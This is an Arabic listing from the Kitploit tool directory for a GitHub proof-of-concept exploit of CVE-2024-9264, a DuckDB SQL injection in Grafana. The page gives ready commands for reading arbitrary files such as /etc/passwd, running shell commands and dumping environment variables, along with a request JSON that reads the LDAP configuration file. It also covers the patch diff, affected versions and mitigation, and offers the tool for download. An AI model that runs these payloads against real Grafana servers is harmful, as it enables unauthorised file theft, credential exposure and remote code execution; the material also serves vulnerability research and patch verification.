Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-9264 — استغلال لقراءة الملفات التعسفية وتنفيذ التعليمات البرمجية عن بُعد في Grafana (CVE-2024-9264) | Kitploit
أدوات/GitHubGitHub/nollium/cve-2024-9264
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubnollium/cve-2024-9264

CVE-2024-9264

استغلال لقراءة الملفات التعسفية وتنفيذ التعليمات البرمجية عن بُعد في Grafana (CVE-2024-9264)

عرض المستودع
132163منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-9264

حقن SQL في DuckDB عبر Grafana بعد المصادقة (RCE، قراءة ملفات)

إثبات المفهوم (PoC)

يُظهر هذا الإثبات استغلال CVE-2024-9264 باستخدام مستخدم مُصادق عليه لتنفيذ استعلام DuckDB SQL وقراءة ملف عشوائي على نظام الملفات أو تنفيذ كود تعسفي عن بُعد.

لا يمكن تنفيذ الكود التعسفي إلا على Grafana v11.0.0.

يمكن قراءة الملفات في جميع الإصدارات المعرضة للخطر.

الإعداد: ثبّت التبعيات المطلوبة عبر:

root@kitploit:~
pip install -r requirements.txt

الاستخدام

قراءة الملف (شامل):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

تنفيذ الأوامر (الإصدار v11.0.0 فقط)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

يمكنك أيضاً تنفيذ استعلامات DuckDB عشوائية، مثل استدعاء getenv لاسترجاع متغيرات البيئة:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

قائمة دوال DuckDB المساعدة القابلة للاستغلال موجودة هنا.

نظرة عامة على الثغرة

CVE-2024-9264 هي ثغرة حقن SQL في DuckDB داخل ميزة تعبيرات SQL التجريبية في Grafana. يمكن لأي مستخدم مُصادق عليه تنفيذ استعلامات DuckDB SQL تعسفية عبر تعبيرات معدلة في لوحات معلومات Grafana.

الإصدارات المتأثرة:

  • إصدارات Grafana OSS و Enterprise 11.0.0 - 11.0.5 و11.1.0 - 11.1.6 و11.2.0 - 11.2.1.

الإصدارات المصححة:

  • 11.0.5+security-01 والإصدارات الأحدث

العثور على التصحيح

أصدرت Grafana إصدارات خاصة لإصلاح هذه الثغرة. لتحليل التصحيح، يمكن استخدام الأوامر التالية لمقارنة التغييرات:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

يكشف هذا أن ميزة تعبيرات SQL تمت إزالتها ببساطة من الإصدارات المعرضة للخطر.

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

يزيل التصحيح ميزة تعبيرات SQL بالكامل، مما يمنع إمكانية الاستغلال.

استغلال الثغرة

  1. تشغيل Grafana: شغّل Grafana بالإصدار 11.0.5:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. تعديل تعبير: أنشئ لوحة معلومات بتعبير مثل "Math"، واعترض الطلب باستخدام Burp، وعدّل نوع datasource من math إلى sql.

    سيتم إرسال طلب HTTP إلى /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

    فيما يلي الحد الأدنى من JSON المطلوب لتنفيذ استعلام DuckDB SQL لقراءة ملف عشوائي مثل ./conf/ldap.toml:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

لا يلزم وجود لوحة معلومات للاستغلال الفعلي، إنها مجرد طريقة سهلة للعثور على طلب HTTP لتنفيذ استعلام.

احتمالية قابلية الاستغلال

من المهم ملاحظة أنه على الرغم من خطورة هذه الثغرة، فإن قابلية استغلالها تعتمد على ما إذا كان ثنائي DuckDB مثبتاً على خادم Grafana. افتراضياً، لا يأتي Grafana مع DuckDB مثبتاً، ولا يوجد خيار لتثبيته مباشرة من واجهة Grafana.

لكي تكون هذه الثغرة قابلة للاستغلال، يجب على المسؤول تثبيت DuckDB يدوياً وإضافته إلى $PATH لخادم Grafana. إذا لم يكن DuckDB موجوداً، لا يمكن استغلال ثغرة حقن SQL، مما يقلل بشكل كبير من احتمالية الاستغلال الناجح في التثبيتات الافتراضية.

التخفيف

قم بتحديث Grafana إلى الإصدارات المصححة، وتأكد من عدم وجود ثنائي DuckDB في $PATH إذا تأخر التصحيح.

الاعتمادات

يستخدم هذا الإثبات إطار ten الذي طوره cfreal.

تنزيل الأداة